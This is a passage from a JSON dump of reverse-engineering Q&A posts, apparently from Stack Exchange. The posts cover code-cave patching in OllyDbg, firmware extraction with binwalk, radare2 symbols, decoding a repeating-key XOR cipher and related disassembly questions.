    \n\n

    But I guess it doesn't because ollydbg gives an error.

    \n\n

    The value from 0x400400 is int 100 or 64 00 00 00. Why doesn't it work? And what are my options?

    \n\n

    I was also thinking of doing something like:

    \n\n
    MOV ECX,DWORD PTR DS:[400400]\nMOV DWORD PTR SS:[EBP-30],ECX\n
    \n\n

    But I don't know how to add a new line of instruction in ollydbg I was also afraid it would change all the addresses.

    \n", "Title": "replacing static value with variable", "Tags": "|disassembly|ollydbg|pointer|", "Answer": "

    Let's split this up a bit. I'll skip over some stuff that you might already understand, but we may need to expand this if some stuff is not clear.

    \n
    \n
    \n

    MOV DWORD PTR SS:[EBP-30],400400

    \n

    MOV DWORD PTR SS:[EBP-30],DWORD PTR DS:[400400]

    \n
    \n

    The syntax is a bit wonky but we can understand that you want to encode a MOV with two memory operands.\nLet's take a look at some documentation

    \n

    Ref: https://www.felixcloutier.com/x86/MOV.html

    \n

    There is no possible encoding for MOV that accepts m32,m32. With m32 understood to be a 32 bit pointer.

    \n

    It's not obvious this is the case, but unfortunately it is.

    \n

    Ref: https://stackoverflow.com/a/33799523/10279341

    \n

    This is a good answer if you care about why, but it is supplemental reading only, not critical to this situation.

    \n
    \n

    So, if we want to copy memory to memory with x86:

    \n

    Ref: https://stackoverflow.com/a/1299094/10279341

    \n

    A commonly accepted solution is to use a register as a temporary value store.

    \n

    Take note that we need to save the state of the register we are using else we might accidentally alter the program state.

    \n
    \n

    MOV ECX,DWORD PTR DS:[400400]

    \n

    MOV DWORD PTR SS:[EBP-30],ECX

    \n
    \n

    So this is on the right track. But we need to save ECX beforehand in case something else is using it.

    \n
    0x00000000: 51                  push ecx\n0x00000001: 8b 0d 00 04 40 00   mov ecx, dword ptr [0x400400]\n0x00000007: 89 4d e2            mov dword ptr [ebp - 0x1e], ecx\n0x0000000a: 59                  pop ecx\n
    \n

    This should do that you want. We save ECX by pushing it onto the stack. Load the value at address 0x400400 into ECX. Then write the value of ECX into the memory at [EBP-0x1E], then restore ECX to it's previous value.

    \n
    \n

    So how do we patch this into the binary image?

    \n

    The above assembly is 11 bytes in length and our goal is to alter the instruction

    \n

    0: c7 45 e2 4c 00 00 00 mov DWORD PTR [ebp-0x1e],0x4c

    \n

    Which we can see is 7 bytes long.

    \n

    We can get these extra 4 bytes by use of a "code cave". We will redirect execution into an unused bit of memory, execute our code, then jump back.

    \n

    Ref: https://www.codeproject.com/Articles/20240/The-Beginners-Guide-to-Codecaves

    \n

    In short, we're looking "empty space" that is allocated/mapped within the exe image, preferably in the .text section, but are not used by the program under any circumstances. This will occur in nearly every executable image due to SectionAlignment in Windows PE being 4096 by default.

    \n

    The easiest way to implement this is to find unused bytes in the same region of memory that we are trying to modify.

    \n

    A rudimentary way of finding/applying a code cave with ollydbg is shown here:

    \n

    https://medium.com/@vysec.private/backdoor-101-f318110e1fcb

    \n
    \n

    After finding suitable memory for our cave, patch in the shellcode:

    \n
    0x00000000: 51                  push ecx\n0x00000001: 8b 0d 00 04 40 00   mov ecx, dword ptr [0x400400]\n0x00000007: 89 4d e2            mov dword ptr [ebp - 0x1e], ecx\n0x0000000a: 59                  pop ecx\n
    \n

    using ollydbg's assembler.

    \n

    Then change the original instruction of mov DWORD PTR [ebp-0x1e],0x4c to JMP x where x is your shellcode address, in the same module/image.

    \n

    Overwrite the rest of the instruction bytes with 0x90 (NOP) if you want. So that we end up with:

    \n

    c7 45 e2 4c 00 00 00 - Original instruction

    \n

    e9 xx xx xx xx 90 90 - JMP rel32 plus 2 NOPs

    \n

    Ref for x86 JMP: https://c9x.me/x86/html/file_module_x86_id_147.html

    \n

    after pop ecx back in our code cave assemble: JMP y

    \n

    where y is the address of the instruction directly after mov DWORD PTR [ebp-0x1e],0x4c. You should end up skipping over the NOP instructions when jumping out of the code cave, which is why I said they were optional.

    \n
    \n

    Summary,

    \n
      \n

    1. Assemble our shellcode, making note of correct x86 ASM and preserving program state.

      \n
      2. \n

    2. If not enough space to patch the instruction in-line, idenfity a code cave.

      \n
      3. \n

    3. Apply the code-cave and assemble the two JMP instructions to redirect execution (1) to the code-cave, (2) back to the next instruction from the original code.

      \n
      4. \n
    \n" }, { "Id": "19488", "CreationDate": "2018-09-30T13:39:20.687", "Body": "

    I'm trying to reverse a function and I came across these lines inside the function:

    \n\n
    1. call    ds:HeapAlloc\n2. mov     [ebp+var_4], eax\n3. mov     eax, [ebp+var_4]\n
    \n\n

    Why is line 3 needed? If I need to save the result, line 2 saved that and EAX already contains the result.

    \n", "Title": "Move twice, from and to the same location", "Tags": "|ida|disassembly|", "Answer": "

    It's not needed at all.

    \n\n

    However, some compilers may generate that assembly when compiled without optimization.

    \n\n

    For example, gcc -O0 generates: (from godbolt)

    \n\n
    f():\n  push rbp\n  mov rbp, rsp\n  sub rsp, 16\n  call fake_heapalloc()\n  mov DWORD PTR [rbp-4], eax\n  mov eax, DWORD PTR [rbp-4]\n  mov edi, eax\n  call g(int)\n  nop\n  leave\n  ret\n
    \n\n

    from C++ source code

    \n\n
    int fake_heapalloc();\nvoid g(int i);\nvoid f(){\n    int i;\n    i=fake_heapalloc();\n    g(i);\n}\n
    \n\n

    Because it's not optimized, the i is stored on the stack (instead of in a register) and the redundant move to/from stack code is generated.

    \n\n
    \n\n

    Alternatively, some programmer may manually insert the assembly instruction there to... I don't know, it's unlikely.

    \n" }, { "Id": "19495", "CreationDate": "2018-10-01T09:58:36.863", "Body": "

    This is not my expertise so forgive stupidity.\nI have the following Firmware.

    \n\n

    I am trying to extract the file sytem with binwalk, which results in a few extracted files and directories. Specifically I have a directory called jffs2-root/fs_1. When looking at the folder I see three files:

    \n\n

    version - Plain Text

    \n\n

    version.list - Plain Text

    \n\n

    The final file is vmlinux.lz. This appears tio be where the file system should be, however I cannot se how I can read this file.

    \n\n

    I have checked the file with the file command and the output I get is:

    \n\n

    vmlinux.lz: 8086 relocatable (Microsoft)

    \n\n

    I have read that this means it is virtual memory, but I am unsure as to how to proceed. I have tried the vmlinux read on git by Linus, but this fails. Can anyone give me any pointers.

    \n\n

    Edit

    \n\n

    Here is a hex dump of the file vmlinux.lz\n\"Hexdump\"

    \n", "Title": "RE Zyxel PMG5318-B20C JFFS2 vmlinux.lz", "Tags": "|firmware|virtual-memory|", "Answer": "

    vmlinuz.lz contains the kernel image.

    \n\n
    $ binwalk vmlinux.lz \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n12            0xC             LZMA compressed data, properties: 0x6D, dictionary size: 4194304 bytes, uncompressed size: 5227488 bytes\n
    \n\n

    It is compressed, as Igor Skochinsky noted. Conveniently, we can use binwalk to decompress this file via binwalk -e vmlinux.lz.

    \n\n

    In the newly created directory, there will be a file called C, named after the offset at which the LZMA signature was found (this is a file naming convention binwalk uses to name decompressed files). We can run a signature scan on file C:

    \n\n
    $ binwalk C\n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n3887212       0x3B506C        Linux kernel version \"3.4.11-rt19 (huangyiran@dev198.sh.gj.com) (gcc version 4.6.2 (Buildroot 2011.11) ) #1 SMP PREEMPT Thu Jul 27 10:17:17 CST 2017\"\n3905080       0x3B9638        gzip compressed data, maximum compression, from Unix, last modified: 1970-01-01 00:00:00 (null date)\n4130388       0x3F0654        CRC32 polynomial table, big endian\n4132556       0x3F0ECC        CRC32 polynomial table, big endian\n4491592       0x448948        xz compressed data\n4572996       0x45C744        Unix path: /home/huangyiran/BCM/bcm96838_416L03/bcmdrivers/broadcom/char/bpm/bcm96838/bpm.c\n4576196       0x45D3C4        Unix path: /home/huangyiran/BCM/bcm96838_416L03/shared/opensource/drivers/bcm_misc_hw_init_impl3.c\n4607028       0x464C34        Neighborly text, \"NeighborSolicits6InDatagrams\"\n4607048       0x464C48        Neighborly text, \"NeighborAdvertisementsorts\"\n4610379       0x46594B        Neighborly text, \"neighbor %.2x%.2x.%pM losttime expired for %s -- IGNORING!\"\n4818896       0x4987D0        CRC32 polynomial table, little endian\n
    \n\n

    According to this output, this file is a kernel binary. Let's check a few things just to be sure.

    \n\n

    Running an entropy scan on file C shows that it likely contains a great deal of object code:

    \n\n

    \"Zyxel

    \n\n

    Running a signature scan try to identify the architecture produces over 13,000 hits for MIPS:

    \n\n
    $ binwalk -A C | cat -n | tail\n 13075  5219200       0x4FA380        MIPS instructions, function epilogue\n 13076  5219256       0x4FA3B8        MIPS instructions, function epilogue\n 13077  5219564       0x4FA4EC        MIPS instructions, function epilogue\n 13078  5219720       0x4FA588        MIPS instructions, function epilogue\n 13079  5219796       0x4FA5D4        MIPS instructions, function epilogue\n 13080  5220040       0x4FA6C8        MIPS instructions, function epilogue\n 13081  5220296       0x4FA7C8        MIPS instructions, function epilogue\n 13082  5220724       0x4FA974        MIPS instructions, function epilogue\n 13083  5220812       0x4FA9CC        MIPS instructions, function epilogue\n 13084\n
    \n\n

    Additional inforation can be attained by running binwalk -e C to extract the gzip compressed data at offset 0x3B9638 and examine it:

    \n\n
    # Automatically generated file; DO NOT EDIT.\n# Linux/mips 3.4.11 Kernel Configuration            <---------------\nCONFIG_MIPS=y                                       <--------------- \n# Machine selection\nCONFIG_ZONE_DMA=y\n# CONFIG_MIPS_ALCHEMY is not set\n# CONFIG_AR7 is not set\n# CONFIG_ATH79 is not set\n# CONFIG_BCM47XX is not set\n# CONFIG_BCM63XX is not set\nCONFIG_MIPS_BCM963XX=y                              <-- This looks interesting\n# CONFIG_MIPS_COBALT is not set\n# CONFIG_MACH_DECSTATION is not set\n# CONFIG_MACH_JAZZ is not set\n# CONFIG_MACH_JZ4740 is not set\n.\n.\n<snip>\n
    \n\n

    Some of the strings in the kernel binary (file \"C\") are interesting as well:

    \n\n
    $ strings -n 9 C | head -25\n\"X`&DXd$B\n&L  P&K X&J `&I h&H \nB* &R* $P\n0!%JUU%)33%\ninitcall_debug\n%s version %s (huangyiran@dev198.sh.gj.com) (gcc version 4.6.2 (Buildroot 2011.11) ) %s\nLinux version 3.4.11-rt19 (huangyiran@dev198.sh.gj.com) (gcc version 4.6.2 (Buildroot 2011.11) ) #1 SMP PREEMPT Thu Jul 27 10:17:17 CST 2017\npause_on_oops\n<2>BUG: recent printk recursion!\nprintk.console_suspend\nprintk.always_kmsg_dump\nprintk.time\nprintk.ignore_loglevel\ndeprecated_sysctl_warning\nprint_dropped_signal\norderly_poweroff\n7select_fallback_rq\nK?xpm_qos_update_request_timeout\nsys_init_module\n3.4.11-rt19 SMP preempt mod_unload MIPS32_R1 32BIT        <---- architecture info\n]\\iIgS1)Y\nspurious.irqfixup\nspurious.noirqdebug\nrcutree.rcu_cpu_stall_timeout\nrcutree.rcu_cpu_stall_suppress\n.\n.\n<snip>\n
    \n" }, { "Id": "19507", "CreationDate": "2018-10-02T03:24:29.717", "Body": "

    I created a quick x86_64 Assembly file with NASM to generate the four different visibility classes for ELF 64. With readelf --symbols I get the Symbol Visibility in the Vis column: DEFAULT, INTERNAL, HIDDEN, PROTECTED.

    \n\n
    Symbol table '.symtab' contains 16 entries:\n   Num:    Value          Size Type    Bind   Vis      Ndx Name\n     4: 000000000040007e     0 OBJECT  GLOBAL PROTECTED    1 gdp\n     5: 0000000000400082     0 FUNC    GLOBAL HIDDEN     2 gfh\n     6: 000000000040007a     0 OBJECT  GLOBAL INTERNAL    1 gdi\n     8: 000000000040007c     0 OBJECT  GLOBAL HIDDEN     1 gdh\n     9: 0000000000400083     0 FUNC    GLOBAL PROTECTED    2 gfp\n    11: 0000000000400078     0 OBJECT  GLOBAL DEFAULT    1 gdd\n    14: 0000000000400081     0 FUNC    GLOBAL INTERNAL    2 gfi\n    15: 0000000000400080     0 FUNC    GLOBAL DEFAULT    2 gfd\n
    \n\n

    These symbols are encoded such that

    \n\n
      \n
    • First character: g means they're GLOBAL (NASM) -- they all are.
      • \n
    • Middle character: f means they're \"Function\", d means they're Data
      • \n
    • Last character: default, internal, hidden, protected.
      • \n
    \n\n

    However with radare I can't figure out how to see the visibility that readelf --symbols shows is available. Using fs symbols; f

    \n\n
    0x0040007e 0 obj.gdp\n0x00400082 0 sym.gfh\n0x0040007a 0 obj.gdi\n0x0040007c 0 obj.gdh\n0x00400083 0 sym.gfp\n0x00400078 0 obj.gdd\n0x00400081 0 sym.gfi\n0x00400080 0 sym.gfd\n
    \n\n

    Clearly, sym is a function and obj is data. But how can I get radare to show me the visibility?

    \n", "Title": "How can you get the symbol visibility with radare?", "Tags": "|radare2|elf|symbols|", "Answer": "

    afaik, Symbol Visibility is not available in radare2.\nThe closest to this you can get are the symbol bindings and types. You can do this with the is command which is responsible for showing symbols.

    \n\n
    $ r2 /bin/echo\n -- What do you want to debug today?\n[0x00401800]> is\n[Symbols]\n050 0x00007228 0x00607228 GLOBAL    OBJ    8 stdout\n051 0x00007220 0x00607220 GLOBAL    OBJ    8 program_invocation_short_name\n052 0x00007230 0x00607230   WEAK    OBJ    8 __progname_full\n053 0x00007230 0x00607230 GLOBAL    OBJ    8 __progname_full\n054 0x00007220 0x00607220   WEAK    OBJ    8 program_invocation_short_name\n055 0x00007240 0x00607240 GLOBAL    OBJ    8 stderr\n001 0x00001070 0x00401070 GLOBAL   FUNC   16 imp.__uflow\n002 0x00001080 0x00401080 GLOBAL   FUNC   16 imp.getenv\n003 0x00001090 0x00401090 GLOBAL   FUNC   16 imp.free\n...\n026 0x00001200 0x00401200 GLOBAL   FUNC   16 imp.calloc\n027 0x00001210 0x00401210 GLOBAL   FUNC   16 imp.strcmp\n028 0x00000000 0x00400000   WEAK NOTYPE   16 imp.__gmon_start__\n029 0x00001220 0x00401220 GLOBAL   FUNC   16 imp.memcpy\n...\n
    \n\n

    You can also print it in a formatted Json format by appending j~{} to the command:

    \n\n
    [0x00401800]> isj~{}\n[\n  {\n    \"name\": \"stdout\",\n    \"demname\": \"\",\n    \"flagname\": \"obj.stdout\",\n    \"ordinal\": 50,\n    \"bind\": \"GLOBAL\",\n    \"size\": 8,\n    \"type\": \"OBJ\",\n    \"vaddr\": 6320680,\n    \"paddr\": 29224\n  },\n  {\n    \"name\": \"program_invocation_short_name\",\n    \"demname\": \"\",\n    \"flagname\": \"obj.program_invocation_short_name\",\n    \"ordinal\": 51,\n    \"bind\": \"GLOBAL\",\n    \"size\": 8,\n    \"type\": \"OBJ\",\n    \"vaddr\": 6320672,\n    \"paddr\": 29216\n  },\n  {\n    \"name\": \"__progname_full\",\n    \"demname\": \"\",\n    \"flagname\": \"obj.__progname_full\",\n    \"ordinal\": 52,\n    \"bind\": \"WEAK\",\n    \"size\": 8,\n    \"type\": \"OBJ\",\n    \"vaddr\": 6320688,\n    \"paddr\": 29232\n  },\n
    \n" }, { "Id": "19517", "CreationDate": "2018-10-02T21:52:51.227", "Body": "

    I desperately need help figuring out the ic chips in this unit so I can view the firmware in ida pro.

    \n\n

    So the unit is a roland gr-55 guitar synthesizer and i'm trying to disassemble the firmware into assembly language, but I have no info on the processor type. I have tried to analyze the firmware, which is a binary file using binwalk but wasn't able to find any info. I've also used the tool cpu_rec to see if it would give me any info and it told me it's a pic10 but I don't thinks that's accurate. I'll post pics below of the gr-55 motherboard, and the firmware , and some other stuff.

    \n\n

    R05011845 WSP IC

    \n\n

    R8A02021ABG IC

    \n\n

    MXIC mx29lv640ebti-70g IC

    \n\n

    ESMT m12l128168a-azl1p10jy IC

    \n\n

    gr-55 firmware link here's the roland gr-55's firmware

    \n\n

    gr-55 schematics here's the roland gr-55 schematics

    \n\n

    I think the R8A02021ABG could be the main cpu due to these forms (similar sythesizer internals). This person seems to have some of the same ic numbers, and hes saying the R8A02021ABG is the main processor, and that it's a sh3/sh4 7700 series processor. When I go to the link for his units OS website \nOS website for bk9 it tells me that the processor for that OS is a sh3 (sh 7727). It seems that ida pro does not have an option for a (sh 7727). I read another form from someone who said they also have a (sh 7727) in their unit, this website wont let me post any more links so if you type mpc500 os code in google and click link for mpc-forms.com, it's on the second page second comment down. This person says they don't make a disassembler for the (sh 7727) and reverse engineering it would be impossible

    \n\n

    My main goal is to be able to change some things in the roland gr-55's firmware, like changing some of the names to make things easier to understand so I can make music in peace. Is what i'm trying to do even possible or am I just giving myself a headache for no reason. Sorry if the post is confusing, and for the excessive links. If anybody can give me any info I would appreciate it.

    \n", "Title": "Need help identifying main processor for Roland synthesizer", "Tags": "|ida|disassembly|assembly|decompilation|firmware|", "Answer": "

    The firmware is compressed, so it is no wonder that up to this point attempting to determine the target CPU of the firmware has been so troublesome.

    \n\n

    \"compressed

    \n\n

    A signature scan reveals a signature associated with LHA compression:

    \n\n
    $ binwalk gr55.bin \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n4             0x4             LHa (2.x) archive data [lh5] [NSRL|LHA2]\n
    \n\n

    lhasa can be used to decompress the file, which produces a file called appli.bin. A signature scan of this file produces the following results:

    \n\n
    $ binwalk appli.bin \n\nDECIMAL       HEXADECIMAL     DESCRIPTION\n--------------------------------------------------------------------------------\n2229080       0x220358        Ubiquiti partition header, header size: 56 bytes, name: \"PARTITION#\", base address: 0x00040000, data size: 524288 bytes\n3513280       0x359BC0        Copyright string: \"Copyright\"\n3527064       0x35D198        Broadcom 96345 firmware header, header size: 256, board id: \"   1/8\", ~CRC32 header checksum: 0x43452043, ~CRC32 data checksum: 0x43452042\n3579113       0x369CE9        VxWorks symbol table, big endian, first entry: [type: uninitialized data, code address: 0xE00, symbol address: 0x13C18800]\n7197404       0x6DD2DC        Copyright string: \"Copyright Kobe Steel Ltd.\"\n7252974       0x6EABEE        Copyright string: \"Copyright 2004 TEPCO UQUEST, LTD.\"\n
    \n\n

    Be aware that some may be false positives. For example, I believe that Broadcom 96345 firmware typically targets MIPS CPUs in routers. Further investigation is required. An entropy scan of appli.bin reveals that it is not compressed or encrypted:

    \n\n

    \"uncompressed\"

    \n\n

    There is quite a bit of string data in this binary, some of it potentially interesting. For example, this bit:

    \n\n
    $Id: k_version.c,v 1.3 2010/09/22 13:10:33 shigeno Exp $\n  SHELL for iTRON ver 1.01\n===========================================================\n  Copyright 2004 TEPCO UQUEST, LTD.\n
    \n\n

    Tepco Uquest is a Japanese company that develops middleware for embedded devices.

    \n\n

    A search for \"SHELL for iTRON ver 1.01\" results in this:

    \n\n

    \"dev

    \n\n

    There is quite a bit of technical information contained in this document; for example on page 71:

    \n\n

    \"doc

    \n\n

    It may contain information relevant to identifying the CPU, as the SH (SuperH) family of CPUs is discussed (Renesas SH7145, SH7727).

    \n\n

    Radare2 supports the SuperH instruction set.

    \n\n

    Other strings include things like this:

    \n\n
    St.Piano 3\nSt.Piano 4\nSt.Piano 5\nBrite Piano\nStage Piano\nHonky Tonk\nLoFi Piano\nPiano 1 w\nEuropean Pf\nPiano 2 w\nHonky-tonk\nHonky-tonk w\nPop Piano 1\nPop Piano 2\nPop Piano 3\nPiano 3 w\nStage EP 1\nStage EP 2\nStage EP Trm\nTremolo EP 1\nE.Piano 1\n
    \n\n

    Perhaps there is no need for reverse engineering, just patching strings.

    \n" }, { "Id": "19524", "CreationDate": "2018-10-03T19:32:07.007", "Body": "

    I am trying to modify a save file for a game. I think it is using an XOR cipher to encrypt it. Looking though the disassembly I think I found the function that decrypts it. I ran the assembly through a decompiler to get a better grip on what is going on.

    \n\n

    I am a C# programmer with some knowledge of C/C++. I generally understand what is accomplished by this code, but there are some details I don't understand.

    \n\n
    int __fastcall DecryptBuffer(unsigned __int8 *a1, int a2, int a3, unsigned int a4, int a5)\n{\n  unsigned __int8 *v5;\n  unsigned __int8 *v6;\n  int result;\n  int v8;\n\n  v5 = a1;\n  v6 = &a1[a2];\n  result = a5;\n  v8 = a5 - (_DWORD)v5;\n  while ( v5 != v6 )\n  {\n    result = *v5 ^ *(unsigned __int8 *)(a3 + (unsigned int)&v5[v8] % a4);\n    *v5++ = result;\n  }\n  return result;\n}\n
    \n\n

    It accepts as parameters:

    \n\n
      \n
    • a1 - a byte array
      • \n
    • a2 - the length of the array
      • \n
    • a3 - 0xB19D425B
      • \n
    • a4 - 0x107
      • \n
    • a5 - 0x00
      • \n
    \n\n

    First, I can't figure out the value of v8. I don't know what (_DWORD)v5 means, or why it is subtracted from zero.

    \n\n

    Second, I don't know what (unsigned int)&v5[v8] is actually doing. I take it to mean it is looking up a byte somewhere in the array, but is it retrieving a single byte and casting to an uint, or four bytes?

    \n\n

    Here is the disassembly:

    \n\n
    sub_301E44\nPUSH.W          {R4-R8,LR}\nMOV             R4, R0\nADDS            R6, R0, R1\nLDR             R0, [SP,#0x18+arg_0]\nMOV             R7, R2\nMOV             R8, R3\nSUBS            R5, R0, R4\nloc_301E54\nCMP             R4, R6\nBEQ             locret_301E6C\nADDS            R0, R5, R4\nMOV             R1, R8\nBL.W            __aeabi_uidivmod\nLDRB            R0, [R4]\nLDRB            R3, [R7,R1]\nEORS            R0, R3\nSTRB.W          R0, [R4],#1\nB               loc_301E54\nlocret_301E6C\nPOP.W           {R4-R8,PC}\n
    \n\n

    This is the function that calls the above:

    \n\n
    PUSH            {R0-R2,LR}\nMOVS            R3, #0\nLDR             R2, =(dword_8749EF - 0x301E80)\nSTR             R3, [SP,#0x10+var_10]\nMOVW            R3, #0x107\nADD             R2, PC  ; dword_8749EF\nBL              sub_301E44\nADD             SP, SP, #0xC\n
    \n", "Title": "Need help understanding XOR cipher", "Tags": "|c++|arm|", "Answer": "

    (_DWORD)v5 is simply casting the __int8* pointer to _DWORD. Decompilations tend to be quite messy if you don't fix variable types, so let's ignore types for a moment.

    \n\n

    To understand the value of v8, substitute it into the expression bellow: \n&v5[a5 - v5_old]. We can also understand this as v5 + a5 - v5_old. v5 is being incremented with each iteration of the loop, so the above expression is basically the current index plus a5.

    \n\n

    The current index plus a5 modulo a4 (presumably the length of the buffer pointed to by a3) is then added to a3 and the corresponding byte is XOR'd to the byte currently pointed to by v5.

    \n\n

    Here's my take on the algorithm:

    \n\n
    void DecryptBuffer ( char *buffer, int buffer_len, char *key, int key_len, int key_start )\n{ \n    int i;\n    for ( i = 0; i < buffer_len; i++ )\n        buffer [ i ] ^= key [ ( key_start + i ) % key_len ];\n}\n
    \n\n

    Or in other words, XOR with the key repeating over and over.

    \n\n

    This is quite standard, so it's probably right, but it could be wrong\u2014as I said, the decompilation is quite messy. If you want a sure answer, either clean it up by fixing variable types or post the disassembly as well.

    \n" }, { "Id": "19525", "CreationDate": "2018-10-03T20:00:42.437", "Body": "

    I have this Asm from a book that suppose to do a Boolean cast: rax := rax ? 1 : 0

    \n\n
    1. neg      rax\n2. sbb      rax,rax\n3. neg      rax\n
    \n\n

    But as i understand this code and the instructions (below), this would work\nonly if the register will have 0 in it.

    \n\n

    because lets assume that (register have some positive number in it):

    \n\n
    rax = 9    ;initial register\nrax = -9   ;after line 1\nrax = -17  ;after line 2\nrax = 17   ;after line 3\n
    \n\n

    register have 0 in it:

    \n\n
    rax = 0    ;initial register\nrax = 0    ;after line 1\nrax = 0    ;after line 2\nrax = 0    ;after line 3\n
    \n\n

    I think that the author meant to do add in line 2 instead of sbb am i correct?

    \n\n
    \n

    Instruction explanations: \n neg instruction:

    \n\n
    neg Destination      ;Destination = -Destination      \nif(Destination == 0)\n  CF = 0;\nelse \n  CF = 1;\n
    \n \n

    sbb instruction:

    \n\n
    sbb Destination, Source      ;Destination = Destination - (Source + CF);\n
    \n
    \n", "Title": "Explanation of SBB instruction", "Tags": "|assembly|", "Answer": "

    SBB:

    \n\n
    \n

    Destination = Destination - (Source + CF);

    \n
    \n\n
    -9 - ( -9 + 1 ) = -9 - ( -8 ) = -9 + 8 = -1, not -17\n
    \n" }, { "Id": "19529", "CreationDate": "2018-10-03T21:35:07.963", "Body": "

    I'm trying to use binwalk to extract the firmware for the Ubiquiti Networks ER-X. Currently I've downloaded a copy of the firmware and uncompressed it. I opened the folder with the filesystem contents and found compat squashfs.tmp squashfs.tmp.md5 version.tmp vmlinux.tmp vmlinux.tmp.md5. I checked to see which file was the biggest and found squashfs.tmp to be the biggest at about 78MB in size. I ran binwalk with the -e flag but that didn't extract the filesystem. Link to the firmware.

    \n", "Title": "Extracting SquashFS based filesystem", "Tags": "|mips|binwalk|", "Answer": "

    I was able to extract the file system just fine. I used Binwalk v2.1.2b and have sasquatch installed.

    \n\n

    Extracted file system:

    \n\n
    _squashfs.tmp.extracted/squashfs-root $ ls\nbin  boot  config  dev  etc  home  lib  media  mnt  opt  proc  root  root.dev  run  sbin  selinux  srv  sys  tmp  usr  var\n
    \n\n

    It is indeed for a MIPS device:

    \n\n
    $ file bin/bash\nbin/bash: ELF 32-bit LSB  executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26, BuildID[sha1]=1b20797b11fa0a481a334f911ac5dfa27ce20c75, stripped\n
    \n\n

    Make sure all of your tools are up to date and you have the necessary plugins installed. From the installation page:

    \n\n
    \n

    Binwalk relies on multiple external utilties in order to automatically\n extract/decompress files and data:

    \n\n
    # Install standard extraction utilities\n$ sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools sleuthkit default-jdk lzop srecord\n\n# Install sasquatch to extract non-standard SquashFS images\n$ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev\n$ git clone https://github.com/devttys0/sasquatch\n$ (cd sasquatch && ./build.sh)\n\n# Install jefferson to extract JFFS2 file systems\n$ sudo pip install cstruct\n$ git clone https://github.com/sviehb/jefferson\n$ (cd jefferson && sudo python setup.py install)\n
    \n
    \n" }, { "Id": "19543", "CreationDate": "2018-10-04T16:41:19.260", "Body": "

    I want to decompile it to C, or at least assembly the CC2650 hex file (Bluetooth Low Energy Sensor Tag), that provide TI.

    \n\n

    My goal is to know the specific way used by CC2650 to generate the LTK.

    \n\n

    I'll appreciatte the answers.

    \n", "Title": "How can I decompile the CC2650 .hex file to C?", "Tags": "|disassembly|assembly|c|bluetooth|", "Answer": "

    First, convert the file from Hex to a raw binary using srec_cat or objcopy

    \n\n

    Then take a look at an entropy plot, a hex dump, and the output of strings to check the state of the converted file. Here is a snippet of a hex dump of the converted file:

    \n\n
    $ hexdump -C -n 256 sensor.bin \n00000000  00 37 00 20 c9 0b 00 00  d9 0b 00 00 db 0b 00 00  |.7. ............|\n00000010  dd 0b 00 00 dd 0b 00 00  dd 0b 00 00 00 00 00 00  |................|\n00000020  00 00 00 00 00 00 00 00  00 00 00 00 dd 0b 00 00  |................|\n00000030  dd 0b 00 00 00 00 00 00  dd 0b 00 00 dd 0b 00 00  |................|\n00000040  dd 0b 00 00 dd 0b 00 00  dd 0b 00 00 dd 0b 00 00  |................|\n*\n000000c0  dd 0b 00 00 dd 0b 00 00  df f8 e8 13 09 68 c1 f3  |.............h..|\n000000d0  04 61 16 29 a8 bf 20 39  01 eb 20 71 49 1c 16 29  |.a.).. 9.. qI..)|\n000000e0  a8 bf 15 21 04 da 6f f0  09 02 91 42 b8 bf 11 46  |...!..o....B...F|\n000000f0  01 f0 1f 01 df f8 c0 23  41 f4 f8 51 11 80 df f8  |.......#A..Q....|\n00000100\n
    \n\n

    Next, check to see if you can find the entry point and attempt to begin disassembly there for the given architecture. Beginning disassembly at offset 0xC0 seems like a good guess. I used r2 to perform the disassembly (note that \"sensor.bin\" is the name I gave to the binary converted from the CC2650 Hex file):

    \n\n
    $ r2 -a arm -b 16 sensor.bin       <-------  for ARM Thumb instruction set arch\n -- SHALL WE PLAY A GAME?\n[0x00000000]> s 0xc0               <-------- seek to offset 0xC0\n[0x000000c0]> pd                   <-------- print disassembly \n            0x000000c0      dd0b           lsrs r5, r3, 0xf\n            0x000000c2      0000           movs r0, r0\n            0x000000c4      dd0b           lsrs r5, r3, 0xf\n            0x000000c6      0000           movs r0, r0\n            0x000000c8      dff8e813       ldr.w r1, [0x000004b8]      ; [0x4b8:4]=0x4008626e\n            0x000000cc      0968           ldr r1, [r1]\n            0x000000ce      c1f30461       ubfx r1, r1, 0x18, 5\n            0x000000d2      1629           cmp r1, 0x16\n        ,=< 0x000000d4      a8bf           it ge\n        `-> 0x000000d6      2039           subs r1, 0x20\n            0x000000d8      01eb2071       add.w r1, r1, r0, asr 28\n            0x000000dc      491c           adds r1, r1, 1\n            0x000000de      1629           cmp r1, 0x16\n        ,=< 0x000000e0      a8bf           it ge\n        `-> 0x000000e2      1521           movs r1, 0x15\n        ,=< 0x000000e4      04da           bge 0xf0\n        |   0x000000e6      6ff00902       mvn r2, 9\n        |   0x000000ea      9142           cmp r1, r2\n       ,==< 0x000000ec      b8bf           it lt\n       `--> 0x000000ee      1146           mov r1, r2\n        `-> 0x000000f0      01f01f01       and r1, r1, 0x1f\n            0x000000f4      dff8c023       ldr.w r2, [0x000004bc]      ; [0x4bc:4]=0x40090000\n            0x000000f8      41f4f851       orr r1, r1, 0x1f00\n            0x000000fc      1180           strh r1, [r2]\n            0x000000fe      dff8bc13       ldr.w r1, [0x000004c2]      ; [0x4c0:4]=0x432a0494\n            0x00000102      0968           ldr r1, [r1]\n            0x00000104      8907           lsls r1, r1, 0x1e\n        ,=< 0x00000106      4fbf           iteee mi\n        `-> 0x00000108      40f04060       orr r0, r0, 0xc000000\n            0x0000010c      0021           movs r1, 0\n            0x0000010e      dff8b023       ldr.w r2, [0x000004c6]      ; [0x4c4:4]=0x43200000\n            0x00000112      1160           str r1, [r2]\n            0x00000114      dff8ac13       ldr.w r1, [0x000004c8]      ; [0x4c8:4]=0x400ca000\n            0x00000118      c0f3c062       ubfx r2, r0, 0x1b, 1\n            0x0000011c      82f00102       eor r2, r2, 1\n            0x00000120      c0f38060       ubfx r0, r0, 0x1a, 1\n            0x00000124      0a60           str r2, [r1]\n            0x00000126      80f00100       eor r0, r0, 1\n            0x0000012a      8860           str r0, [r1, 